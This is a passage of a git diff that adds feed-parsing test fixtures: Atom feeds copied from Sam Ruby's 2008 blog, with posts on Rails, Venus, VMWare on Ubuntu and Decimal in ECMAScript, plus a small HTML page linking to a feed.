+<path d='M13,22h80v60l-40,15l-39-16z' fill='#a33'/>
+<path d='M25,2l27,18l28,11l18,48v-77z' fill='#a54'/>
+<path d='M80,31l19,8l-9,20z' fill='#d5a67c'/>
+<path d='M78,2l2,29l19,8z' fill='#c98'/>
+<path d='M53,20l25-18l2,29z' fill='#b76'/>
+<path d='M90,58l8,20l-20,7z' fill='#b65'/>
+<path d='M98,78l-47,18l2,2h36zM25,2l28,18l-27,10l-12,27l-11-19z' fill='#a72d3a'/>
+<path d='M14,56l-11,23l26,6z' fill='#924'/>
+
+<path d='M93,23c-38-35-78,17-77,69h41c-17-52,7-81,35-67zM62,80l-7-1l2,5h7zM15,72l-7-1l-2,7l8,1zM58,62l-5-3v5l6,3zM22,47l-7-3l-2,6l7,3zM59,48l-4-4l-1,4l4,4zM62,31l-2,4l3,3l1-3zM34,26l-4-3l-4,4l5,4zM73,25h-4l1,4l3-1zM86,24h-4v2h4zM87,14l-4-3v3l4,2zM50,13l-3-4l-4,3l3,4zM68,10l-2-4h-5l2,4z' fill='#FFF'/>
+</svg>
+<p>As I proceed with updating <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails</a> to support Rails 2.x, I have become impressed with how Rails has become even <b>more</b> focused on scaling <b>down</b> than it was in Rails 1.x.  Some of the credit goes to Rails itself (changes in scaffolding, migration), but much of the credit goes to making sqlite3 the default.</p>
+<p>What I mean by scaling down is to places where I would not have previously thought it was worth the time or effort to build a web application.  In many cases, I am talking single user, single table applications whose usefulness may last only a few months or even days.  The ability to go from concept to running code preloaded with live data in five minutes or less is truly a game changer for me.</p>
+<p>I am having difficulty expressing the concept, but I have two examples that I can express in code.  It is said that Rails itself was factored out of live running application, and perhaps after I create a few more examples, I will be able to fully see the commonality and be able to build a generator and/or a small wizard application (built on Rails, natch).</p>
+<p>The six steps to a running application are <code>rails application</code>, <code>cd application</code>, <code>ruby script/generate scaffold table attrs...</code>, <code>rake db:migrate</code>, <em>load</em> data, <code>ruby script/server</code>, and <em>tweak</em>.  The keys being <code>scaffold</code>, <em>load</em>, and <em>tweak</em>.</p>
+<h3 id="errata">Errata</h3>
+<p>The first example is <a href="http://intertwingly.net/stories/2008/05/29/errata.rb">errata</a>.  <a href="http://pragprog.com/">Pragmatic Programmers</a> hosts a simple <a href="http://pragprog.com/titles/rails3/errata/">errata</a> page that contains input that has been received to date beta of books.  As I’m working (sometimes offline), I like having the ability to annotate these records as to whether I have made the fix, am deferring the suggestion for now, or (for whatever reason) the fix is resolved another way.</p>
+<p>So I define a model for an erratum consisting of three groups of attributes: ones that show up in the index and on the individual edit page, ones that are in the xml file but I’m not concerned about for the moment, and additional  attributes that represent annotation.</p>
+<p>The “tweaks” include defining a virtual attribute in the model for a “beta_page” that combines the <code>title_release_reported_in</code> and <code>pdf_page</code> fields into one, highlights errata which were first seen within the last 24 hours, filter the index to only show issues which haven’t been categorized, turn off session support (as this is a single user application), and some minor CSS.</p>
+<p>Loading is as simple as an xml parse of the <a href="http://pragprog.com/titles/rails3/errata/index.xml">input document</a>, some minor type coercions, name mapping, and filtering, and into the database it goes.  This step can be rerun multiple times as it will only replace the columns which were originally sourced from the document, and will only add new rows when a new errata_id is encountered.</p>
+<p><a href="http://intertwingly.net/stories/2008/05/29/errata.rb">this code</a> does all that and launches a server.  Up and running in five minutes indeed.  And <a href="http://intertwingly.net/stories/2008/05/29/report.html.erb">additional reports</a> are easy enough to add later.</p>
+<h3 id="agenda">Agenda</h3>
+<p>The second example is <a href="http://intertwingly.net/stories/2008/05/29/agenda.rb">agenda</a>.  The <a href="http://www.apache.org/foundation/board/">ASF Board</a> meetings each have an agenda that is of the same basic format as the <a href="http://www.apache.org/foundation/board/calendar.html">minutes</a>, but with room for individual directors to leave comments and to “pre-approve” individual reports.  As an officer, director, and secretary, I need to interleave reporting, participating, and recording activities all the while coping with a document that is in a decidedly non-linear format.  I’ve been able to cope using browser tabs and having a <a href="http://intertwingly.net/blog/2008/03/08/Switched">second monitor</a> has been a real blessing, but having a single application that enables me to navigate within the document and record comments inline would be helpful.</p>
+<p>Once again, there are three groups of attributes involved: ones that show only in the index, ones that show both in the index and on the individual report pages, and ones that represent annotations.</p>
+<p>Tweaks include color coding the rows based on the status of the report (missing, ready for review, approved with comments, and simply approved) and changing the flow in the controller to move onto the next report after an update is made.</p>
+<p>The loading step is the most difficult one here as it involves some gnarly regular expressions and, in the case of Additional Officer Reports and Committee Reports requires two passes.  The actual interaction with the database is trivial.</p>
+<p>The “market” for the above application is likely only “one”, or at most a dozen or so (directors plus guests), and as such would probably still remain unwritten except for the fact that I was bored on a plane ride out and this gave me something to do.  Future work would include expanding to the “prep” stage (i.e., highlight which reports are ready but have not been reviewed by me just yet), and to the “publish” state (first pass generation of the report based on the agenda and annotations).</p></div></content>
+    <updated>2008-05-29T13:58:37-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2850</id>
+    <link href="/blog/2008/05/21/Despamming-Venus-Mememes-List"/>
+    <link rel="replies" href="2850.atom" thr:count="1" thr:updated="2008-05-21T22:57:26-04:00"/>
+    <title>Despamming Venus Mememes List</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100" viewBox="0 0 100 100">
+  <defs>
+    <g id="src" opacity="0.5" fill="none" stroke-width="12">
+      <circle cx="-20" cy="19" r="1"/>
+      <path d="M0,19s0-20-20-20m0-19s40,0,40,40" stroke-linecap="round"/>
+    </g>
+  </defs>
+  <use xlink:href="#src" transform="translate(64,56) rotate(240)" stroke="#44F"/>
+  <use xlink:href="#src" transform="translate(42,36) rotate(120)" stroke="#0C0"/>
+  <use xlink:href="#src" transform="translate(35,65)" stroke="#F00"/>
+</svg>
+<p>I just committed a change to <a href="http://www.intertwingly.net/code/venus/">Venus</a> that lets one configure a list of URIs which are <b>not</b> to be included in the mememe list.  Example usage:</p>
+<pre class="code">[mememe.plugin]
+spam:
+  http://services.google.com/feedback/abg</pre>
+<p>One simply lists URIs separated by white space (I personally prefer to do this one per line) and these URIs will be eliminated from the list.</p></div></content>
+    <updated>2008-05-21T21:59:32-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2849</id>
+    <link href="/blog/2008/05/15/Men-in-Suits"/>
+    <link rel="replies" href="2849.atom" thr:count="0"/>
+    <title>Men in Suits</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://blogs.codehaus.org/people/geir/archives/001692_men_in_suits.html">Geir Magnusson Jr</a>: <em>Given that fact that the statements contained in <a href="http://www.regdeveloper.co.uk/2008/05/14/jcp_individual_representation/">[link]</a> are given by a Sun employee identifying himself in his job role, can I assume that Sun is interested in taking this discussion public? I think that is a really healthy approach. I think there is confusion about the basic facts and I think clarification will be useful for the community as a whole.</em></p>
+<p>It is the right discussion to be having.  Let’s just make sure that the <a href="http://blogs.codehaus.org/people/geir/archives/001687_jcp_member_of_the_year.html">right people</a> have every opportunity to participate.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+  <g stroke="#000" fill="none" stroke-width="0.2">
+    <path d="M5,60 A16,30 60,1,1 95,40"/>
+    <path d="M10,60 A15,30 60,1,1 90,40"/>
+    <path d="M15,60 A14,30 60,1,1 85,40"/>
+    <path d="M20,60 A13,30 60,1,1 80,40"/>
+    <circle cx="40" cy="24" r="4" fill="#C0C" stroke="none"/>
+    <circle cx="50" cy="50" r="25" fill="#FD0" stroke="none"/>
+    <path d="M5,60 A16,30 60,0,0 95,40"/>
+    <path d="M10,60 A15,30 60,0,0 90,40"/>
+    <path d="M15,60 A14,30 60,0,0 85,40"/>
+    <path d="M20,60 A13,30 60,0,0 80,40"/>
+  </g>
+  <circle cx="60" cy="61" r="2" fill="#F00"/>
+  <circle cx="78" cy="25" r="3" fill="#0F0"/>
+  <circle cx="22" cy="79" r="3" fill="#00F"/>
+</svg>
+<p><a href="http://blogs.codehaus.org/people/geir/archives/001692_men_in_suits.html"><cite>Geir Magnusson Jr</cite></a>: <em>Given that fact that the statements contained in <a href="http://www.regdeveloper.co.uk/2008/05/14/jcp_individual_representation/">[link]</a> are given by a Sun employee identifying himself in his job role, can I assume that Sun is interested in taking this discussion public? I think that is a really healthy approach. I think there is confusion about the basic facts and I think clarification will be useful for the community as a whole.</em></p>
+<p><a href="http://blogs.sun.com/webmink/entry/links_for_2008_05_14">Simon Phipps</a>: <em>The lesson to be learned is that the best way to get Java everywhere was to work with the community rather than expect the community to work with Sun. Let’s hope that lesson sticks and spreads.</em></p>
+<p>There is a discussion going on.  At the moment, it appears to be between Sun and the press.</p>
+<p>It is the right discussion to be having.  Let’s just make sure that the <a href="http://blogs.codehaus.org/people/geir/archives/001687_jcp_member_of_the_year.html">right people</a> have every opportunity to participate.</p></div></content>
+    <updated>2008-05-15T07:56:08-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2848</id>
+    <link href="/blog/2008/05/14/Beta-1-1"/>
+    <link rel="replies" href="2848.atom" thr:count="2" thr:updated="2008-05-15T12:34:21-04:00"/>
+    <title>Beta 1.1</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>B1.1 of <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails, 3rd Edition</a> is out.  Unless you have an deep interest in the migration function, there isn’t much new content here — the primary focus on this update is addressing the <a href="http://pragprog.com/titles/rails3/errata?what_to_show=896">errata</a> and <a href="http://forums.pragprog.com/forums/66">forum</a> comments received to date.</p>
+<p>This effort has turned out to be both harder and more rewarding than I would have ever anticipated.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M1,12c0-7,4-11,11-11h87v87c0,5-5,11-11,11h-87z' fill='#723' stroke='#712' stroke-width='2'/>
+
+<path d='M13,22h80v60l-40,15l-39-16z' fill='#a33'/>
+<path d='M25,2l27,18l28,11l18,48v-77z' fill='#a54'/>
+<path d='M80,31l19,8l-9,20z' fill='#d5a67c'/>
+<path d='M78,2l2,29l19,8z' fill='#c98'/>
+<path d='M53,20l25-18l2,29z' fill='#b76'/>
+<path d='M90,58l8,20l-20,7z' fill='#b65'/>
+<path d='M98,78l-47,18l2,2h36zM25,2l28,18l-27,10l-12,27l-11-19z' fill='#a72d3a'/>
+<path d='M14,56l-11,23l26,6z' fill='#924'/>
+
+<path d='M93,23c-38-35-78,17-77,69h41c-17-52,7-81,35-67zM62,80l-7-1l2,5h7zM15,72l-7-1l-2,7l8,1zM58,62l-5-3v5l6,3zM22,47l-7-3l-2,6l7,3zM59,48l-4-4l-1,4l4,4zM62,31l-2,4l3,3l1-3zM34,26l-4-3l-4,4l5,4zM73,25h-4l1,4l3-1zM86,24h-4v2h4zM87,14l-4-3v3l4,2zM50,13l-3-4l-4,3l3,4zM68,10l-2-4h-5l2,4z' fill='#FFF'/>
+</svg>
+<p>B1.1 of <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails, 3rd Edition</a> is out.  Unless you have an deep interest in the migration function, there isn’t much new content here — the primary focus on this update is addressing the <a href="http://pragprog.com/titles/rails3/errata?what_to_show=896">errata</a> and <a href="http://forums.pragprog.com/forums/66">forum</a> comments received to date.</p>
+<p>This effort has turned out to be both harder and more rewarding than I would have ever anticipated.  Harder in that Rails has changed so much, there has been so much to learn (in terms of Rails 2.0, <a href="http://www.sqlite.org/">SQLite3</a>, and also in terms of working with a different publisher, operating system, and toolset).  But I can’t begin to express how much I like the <a href="http://www.pragprog.com/categories/beta">beta books</a> program — the readers that this book has attracted so far have been great and their comments, questions, and feedback have been most appreciated.</p>
+<p>Also, while this book has always had ample <a href="http://pragprog.com/titles/rails3/source_code">source code</a> provided, I’m continuing to look for ways to both expand and automate.  Rerunning the code on rails edge, for example is now something I can repeatedly do in a matter of minutes.</p></div></content>
+    <updated>2008-05-14T09:41:11-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2847</id>
+    <link href="/blog/2008/05/13/Open-Standards"/>
+    <link rel="replies" href="2847.atom" thr:count="3" thr:updated="2008-05-31T07:59:49-04:00"/>
+    <title>Open Standards</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M34,93l11,-29a15,15 0,1,1 9,0l11,29a45,45 0,1,0 -31,0z" stroke="#142" stroke-width="2" fill="#4a5"/>
+</svg>
+<p><a href="http://pzf.fremantle.org/2008/05/open-source-versus-open-standards.html"><cite>Paul Fremantle</cite></a>: <em>For me the core difference between Open Standards and Open Source is this: Open Standards enable companies to <b>compete</b> in a structured way, Open Source projects enable people or companies to <b>collaborate</b> in a structured way</em></p>
+<p>I think Paul may be onto something.  It is rapidly becoming the case that <a href="http://rubyspec.org/">this</a> more than <a href="http://www.iso.org/iso/home.htm">this</a> is becoming the exemplar for open standards.  While it is popular to malign the JCP, it is worth noting that many (most?) JSRs have TCKs which actively promote the idea of multiple, independent, interoperable implementations.</p></div></content>
+    <updated>2008-05-13T08:07:29-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2846</id>
+    <link href="/blog/2008/05/08/Word-Of-Mouth"/>
+    <link rel="replies" href="2846.atom" thr:count="3" thr:updated="2008-05-10T17:05:36-04:00"/>
+    <title>Word Of Mouth</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://www.zephoria.org/thoughts/archives/2007/11/15/who_has_a_cute.html">danah boyd</a>: <em>I decided to go with a Scion xD because it was the right combination of small, cheap, quirky, practical, and dependable. I feel a little guilty because it’s painfully clear that Scion is targeted directly at people like me and I hate ending up fitting into a stereotype, but, well... it is nice to have an iPod jack built in standard and have a design aesthetic meant for hipster 20-30somethings.</em></p>
+<p>danah deserves a commission.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="120" height="83" viewBox="0 0 120 83">
+  <path d='M60,0c-33,0-60,19-60,42c0,22,27,41,60,41c33,0,60-19,60-41c0-23-27-42-60-42M60,77c-27,0-48-16-48-35c0-20,21-36,48-36c27,0,49,16,49,36c0,19-22,35-49,35' fill='#AAA'/>
+  <path d='M60,4c-28,0-52,17-52,38c0,20,24,37,52,37c29,0,52-17,52-37c0-21-23-38-52-38M60,77c-27,0-48-16-48-35c0-20,21-36,48-36c27,0,49,16,49,36c0,19-22,35-49,35' fill='#717279'/>
+  <path d='M60,3c-29,0-52,17-52,39c0,21,23,38,52,38c29,0,53-17,53-38c0-22-24-39-53-39M60,79c-28,0-52-17-52-37c0-21,24-38,52-38c29,0,52,17,52,38c0,20-23,37-52,37M111,35h-102l-1,7l1,6h102c1-2,1-4,1-6c0-3,0-5-1-7' fill='#EEE'/>
+  <path d='M108,34h-95l-4,1h3h96h3l-3-1' fill='#58585E'/>
+  <path d='M12,48h-3l4,1h95l3-1h-3z' fill='#3A3B3E'/>
+  <path d='M62,5c0,0-14,13-16,30h12c-4-13,4-30,4-30M59,78c0,0,13-13,15-30h-11c4,13-4,30-4,30' fill='#BBB'/>
+  <path d='M58,35h9c-11-6-5-30-5-30s-8,17-4,30M63,48h-10c11,6,6,30,6,30s8-17,4-30M109,45c0,1-1,1-2,1h-1v-7l-1-1h-15v8h-3v-9h19c1,0,3,1,3,2zM12,45h17c1,0,1-1,1-1v-2h-18v-3c0-1,1-2,3-2h18v1h-17c-1,0-1,1-1,1v2h18v3c0,1-1,2-3,2h-16c-1,0-2,0-2-1M38,44l1,1h17v1h-18c-2,0-3-1-3-2v-5c0-1,1-2,3-2h18v1h-17l-1,1zM62,37v9h-3v-9zM85,39v5c0,1-1,2-2,2h-16c-2,0-3-1-3-2v-5c0-1,1-2,3-2h16c1,0,2,1,2,2M81,38h-13c-1,0-1,1-1,1v5c0,0,0,1,1,1h13c1,0,1-1,1-1v-5c0,0,0-1-1-1' fill='#060506'/>
+</svg>
+<p><a href="http://www.zephoria.org/thoughts/archives/2007/11/15/who_has_a_cute.html"><cite>danah boyd</cite></a>: <em>I decided to go with a Scion xD because it was the right combination of small, cheap, quirky, practical, and dependable. I feel a little guilty because it’s painfully clear that Scion is targeted directly at people like me and I hate ending up fitting into a stereotype, but, well... it is nice to have an iPod jack built in standard and have a design aesthetic meant for hipster 20-30somethings.</em></p>
+<p>danah deserves a commission.  No, I’m clearly not a hipster 20-30something, but there seems to be a transitive property in effect as teenage girls tend to be 20-30something wannabies.  In addition to the aspects that danah mentioned, gas mileage is not too bad.  I also feel that — for this demographic at least — the ability to control an iPod from the steering wheel is an vital safety feature.  We also went for the <a href="http://en.wikipedia.org/wiki/Vehicle_Stability_Control">electronic stability control</a>.</p>
+<p>Anybody who happens to be by <a href="http://www.fredandersontoyota.com/">Fred Anderson Toyota</a> should ask for Phil.</p></div></content>
+    <updated>2008-05-08T08:12:03-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2845</id>
+    <link href="/blog/2008/05/05/VMWare-Workstation-Hardy-Heron-VMWare-Tools"/>
+    <link rel="replies" href="2845.atom" thr:count="7" thr:updated="2008-05-06T16:57:07-04:00"/>
+    <title>VMWare Workstation, Hardy Heron, VMWare Tools</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://norman.walsh.name/2008/05/05/vmwaretools">Norman Walsh</a>: <em>In case you haven’t found it yet, <a href="http://peterc.org/2008/62-how-to-install-vmware-tools-on-ubuntu-hardy-804-under-vmware-fusion.html">here’s a pointer</a> to the instructions for building VMWare Tools under Ubuntu 8.04, “Hardy Heron”.</em></p>
+<p>The above instructions (originally for VMWare Fusion) also work for VMWare Workstation.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+  <g fill='none' stroke='#7d9bc6' stroke-width='3'>
+    <rect height='44' width='44' x='17' y='41' rx="3"/>
+    <rect height='44' width='44' x='27' y='19' rx="3"/>
+    <rect height='44' width='44' x='39' y='29' rx="3"/>
+  </g>
+</svg>
+<p><a href="http://norman.walsh.name/2008/05/05/vmwaretools"><cite>Norman Walsh</cite></a>: <em>In case you haven’t found it yet, <a href="http://peterc.org/2008/62-how-to-install-vmware-tools-on-ubuntu-hardy-804-under-vmware-fusion.html">here’s a pointer</a> to the instructions for building VMWare Tools under Ubuntu 8.04, “Hardy Heron”.</em></p>
+<p>It turns out that IBM Ubuntu software layer (e.g. VPN software) does not yet work with Hardy Heron.  A few years ago, I would compiling and comparing notes with collegues, but now I’ve gotten complacent.  I mean, really, Hardy has been out for 11 days now, what’s the problem?</p>
+<p>So, I decided to try VMWare Workstation (i.e., for Windows).  The above instructions (originally for VMWare Fusion) also work for VMWare Workstation.  Suspend/Resume work, but unless Ubuntu is separately suspended, it won’t re-synchronize with the hardware clock on resume, but the following in <code>crontab</code> for <code>root</code> addresses this:</p>
+<pre class="code">0,10,20,30,40,50 * * * * /etc/init.d/hwclock.sh start  &gt; /dev/null</pre>
+<p>The VM runs above the Wifi layer (i.e., appears to the VM as <code>eth0</code>), but below the VPN layer (drats!).</p>
+<p>On a T61p, the display runs about as well as the native open source video driver (i.e., no <a href="http://compiz.org/">compiz</a>).  One idiosyncrasy I’ve found so far is that releasing the right mouse button often has the effect of selecting the first menu item.</p>
+<p>Switching back and forth between operating systems is fast, and one can even share directories (e.g. <code>C:\cygwin\home\rubys</code> as <code>/mnt/hgfs/rubys</code>) and copy/paste between host and VM windows.</p></div></content>
+    <updated>2008-05-05T20:40:39-04:00</updated>
+  </entry>
+
+</feed>
+
diff --git a/whoisi/static/tests/relative-links.html b/whoisi/static/tests/relative-links.html
new file mode 100644 (file)
index 0000000..e4a0016
--- /dev/null
@@ -0,0 +1,8 @@
+<html>
+<head>
+<link rel="alternate" type="application/atom+xml" title="First Feed" href="relative-links.atom"/>
+</head>
+<body>
+ZOMG!!!
+</body>
+</html>
diff --git a/whoisi/static/tests/relative_feed.atom b/whoisi/static/tests/relative_feed.atom
new file mode 100644 (file)
index 0000000..d7d0fe6
--- /dev/null
@@ -0,0 +1,462 @@
+<?xml version="1.0" encoding="utf-8"?>
+<feed xmlns="http://www.w3.org/2005/Atom"
+  xmlns:thr="http://purl.org/syndication/thread/1.0">
+  <link rel="self" href="http://intertwingly.net/blog/index.atom"/>
+  <id>http://intertwingly.net/blog/index.atom</id>
+  <icon>../favicon.ico</icon>
+
+  <title>Sam Ruby</title>
+  <subtitle>It’s just data</subtitle>
+  <author>
+    <name>Sam Ruby</name>
+    <email>rubys@intertwingly.net</email>
+    <uri>/blog/</uri>
+  </author>
+  <updated>2008-07-12T20:30:40-04:00</updated>
+  <link href="/blog/"/>
+  <link rel="license" href="http://creativecommons.org/licenses/BSD/"/>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2870</id>
+    <link href="/blog/2008/07/12/Hello-Decimal-World"/>
+    <link rel="replies" href="2870.atom" thr:count="0"/>
+    <title>Hello Decimal World</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="103" height="98" viewBox="0 0 103 98">
+  <path d='M89,71c15-26-3-68-38-64c-31,4-31,37-4,45c24,6,5,21,6,31c0,10,20,14,36-12M16,37c-5,0-8,5-8,9c1,5,5,9,10,8c5,0,8-4,8-9c-1-5-5-9-10-8' fill='#1b1a1b'/>
+  <circle cx='32' cy='73' fill='#1b1a1b' r='13'/>
+  <path d='M90,70c15-26-4-68-38-64c-31,4-32,37-4,44c23,7,5,22,5,32c1,10,21,14,37-12M17,36c-5,0-9,5-8,9c0,5,4,9,9,8c5,0,9-5,8-9c0-5-5-9-9-8' fill='#bfbfbf'/>
+  <circle cx='33' cy='72' fill='#bfbfbf' r='13'/>
+  <path d='M57,86c-1-1,1-3,2-3c3,0,8,0,12-2c10-6,25-33,17-51c-3-8-5-10-8-14c-1,0-1,0,0,0c2,1,5,5,9,11c6,11,5,24,3,32c-1,6-7,19-14,24c-8,6-17,9-21,3M50,50c-5-1-12-3-16-8c-3-4-4-8-5-11v-1c0-1,3,4,6,8c3,4,7,6,11,7c3,1,9,2,12,4c2,2,2,6,1,7c0,0-2-4-9-6M25,83c10,9,26-4,19-16l-1-1c2,7,0,12-4,15c-4,3-9,3-13,1c-1-1-2,0-1,1M13,51c0,1,1,2,2,2c1,0,4,1,8-1c4-3,4-9,2-11c0-1-1-2,0,0c1,4-2,7-4,9c-2,2-5,1-7,1c-1-1-1,0-1,0' fill='#000000'/>
+  <path d='M61,87c0,1,1,1,3,1c3,0,5-1,7-2c4-2,8-5,11-8c8-11,11-24,10-26c0,2-2,10-6,17c-6,9-10,14-20,17c-3,0-5-1-5,1M39,45l8,4c6,1,8,3,9,4c2,0,2,2,2,1c0-2,0-3-3-4c-1,0-4-2-6-2l-6-2l-4-1M33,85c1-1,9-3,11-9c1-2,1-2,0,0c0,5-6,9-10,9h-1M18,52c0,0,2,0,3-1c2-1,4-3,4-5v-1c0,5-4,7-6,8c-1,0-2,0-1-1' fill='#ffffff'/>
+  <path d='M87,53c7-19-7-48-35-44c-25,3-25,29-3,36c25,3,10,22,8,32c-2,9,20,10,30-24M24,80c2,0,3,0,4,1c4,2,9,1,12-3c3-3,3-8,2-11c-3-7-13-7-18-1c-5,7-1,14,0,14M10,47c1,1,1,2,3,2c2,1,3,2,5,1c3,0,5-3,6-5c1-3-1-5-3-7c-2-1-6-1-9,1c-2,2-3,5-2,8' fill='#999999'/>
+  <path d='M70,68c-7-1-16,14-7,12c9-1-9,2,0,0c4,0,8-2,11-6c5-4,11-15,13-22c1-6,1-15-1-6c-2,8-9,23-16,22M19,49c2-1,5-3,4-6c-2-2-7,0-7,3c0,3,1,3,3,3M35,81c1-1,7-3,6-11c-1-4-3,5-7,6c-6,2-5,6,1,5' fill='#f3f3f3'/>
+</svg>
+<pre class="code">js&gt; print(new Decimal("8.5"));
+8.5</pre>
+<p>OK, so it is not much yet.  But it is a constructor, a <code>toString</code> method, and a finalizer.  And it makes use of <code>decQuadFromString</code> and <code>decQuadToString</code> from the <a href="http://www2.hursley.ibm.com/decimal/decnumber.html">decNumber</a> library.  And it is in the context of a <em>real</em> codebase, namely <a href="http://www.mozilla.org/js/spidermonkey/">SpiderMonkey</a>, which is what <a href="http://www.mozilla.com/en-US/firefox/">Firefox</a> uses.  And it is in a <a href="http://code.intertwingly.net/public/hg/js-decimal/">public repository</a> that you can clone, pull, and download from; and perhaps even try building yourself or patching.</p></div></content>
+    <updated>2008-07-12T07:23:00-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2869</id>
+    <link href="/blog/2008/07/11/Decimal-in-ECMAScript"/>
+    <link rel="replies" href="2869.atom" thr:count="11" thr:updated="2008-07-12T20:30:20-04:00"/>
+    <title>Decimal in ECMAScript</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Monetary units around the world are often expressed in terms of decimal numbers.  You would think that by this time computers would be adept at handling such, but as <a href="http://intertwingly.net/stories/2008/07/11/nondecimal.html">this page</a> indicates, sadly such is not the case for JavaScript today.  This befuddles businessmen and causes application developers to focus attention on unnecessary details unrelated to solving the problem at hand.</p>
+<p>One of my tasks is to write the spec text for future revisions of <a href="http://www.ecma-international.org/memento/TC39.htm">ECMAScript</a> to address this by introducing a notion of a Decimal class.  As currently envisioned, this will be accomplished in three layers.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="125" height="80" viewBox="0 0 125 80">
+  <text y="75" font-size="100" font-family="serif"><![CDATA[10]]></text>
+</svg>
+<p>Monetary units around the world are often expressed in terms of decimal numbers.  You would think that by this time computers would be adept at handling such, but as <a href="http://intertwingly.net/stories/2008/07/11/nondecimal.html">this page</a> indicates, sadly such is not the case for JavaScript today.  This befuddles businessmen and causes application developers to focus attention on unnecessary details unrelated to solving the problem at hand.</p>
+<p>One of my tasks is to write the spec text for future revisions of <a href="http://www.ecma-international.org/memento/TC39.htm">ECMAScript</a> to address this by introducing a notion of a Decimal class.  As currently envisioned, this will be accomplished in three layers:</p>
+<ul>
+<li>The first layer provides a constructor for Decimal with a string argument, and a number of class ("static") methods modeled after the <a href="http://www2.hursley.ibm.com/decimal/dnfloat.html">decFloats module</a> in the <a href="http://www2.hursley.ibm.com/decimal/decnumber.html">decNumber library</a>, and a bare minimum of instance methods, such as <code>toString</code>.</li>
+<li>The second layer provides a number of convenience methods inspired by Java’s <a href="http://java.sun.com/j2se/1.5.0/docs/api/java/math/BigDecimal.html">BigDecimal</a> class.</li>
+<li>The third layer introduces decimal literals (e.g. <code>1.2m</code>, and no, I don’t know what <code>m</code> stands for) and infix operators.</li>
+</ul>
+
+<p>One thing standards bodies often value is independent implementations.  Accordingly, I plan to integrate the decNumber library into the Mozilla codebase.  The decNumber library is made available under a <a href="http://source.icu-project.org/repos/icu/icu/trunk/license.html">very liberal license</a> and will do all the heavy lifting, all I will need to focus on is a bit of glue code.</p>
+<p>Since the last time I looked at the Mozilla codebase, it has moved from CVS to Mercurial.  I’ve managed to <a href="http://code.intertwingly.net/public/hg/">check out</a> both <a href="http://developer.mozilla.org/en/docs/mozilla-central">Mozilla central</a> and a <a href="http://developer.mozilla.org/en/docs/Building_only_SpiderMonkey">jsuni</a> branch, and build firefox from source.  The jsuni branch proports to reenable the ability to build a standalone <code>js</code> executable, but at the moment this does not appear to be the case.</p>
+<p>If anybody has any pointers on how to build a standalone <code>js</code> executable and how to trigger the execution of the unit tests, I would appreciate it.  I’m sure it is a simple matter of RTFM, if I can only find the right M.</p></div></content>
+    <updated>2008-07-11T05:56:26-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2868</id>
+    <link href="/blog/2008/07/11/Above-All"/>
+    <link rel="replies" href="2868.atom" thr:count="3" thr:updated="2008-07-11T09:45:11-04:00"/>
+    <title>Above All</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>My son voluntarily enlisted in the <a href="http://www.airforce.com/">Air Force</a> yesterday.  He heads off for <a href="http://www.lackland.af.mil/">Basic Training</a> on October 28th.</p>
+<p>I’m not yet sure of the details, but apparently his assignment will involve the maintenance and service of on-board radar equipment.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="104" height="96" viewBox="0 0 104 96">
+  <path d='M52,94l-26-19l9-8l-16-10l-17-38l9-17l15,30l26,20l26-20l15-30l9,17l-17,38l-16,10l9,8l-26,19z' fill='#ddd' stroke='#aaa'/>
+  <path d='M52,91l10-7l-10-7l-10,7zM40,83l4-11l-6-5l-9,8zM46,63l-32-23l7,16l12,7zM48,61l3-7l-46-34l7,15zM21,28l-10-22l-6,11zM58,63l32-23l-7,16l-12,7zM56,61l-3-7l46-34l-7,15z M83,28l10-22l6,11zM64,83l-4-11l6-5l9,8z' stroke-linejoin='round' stroke='#222' fill='#138'/>
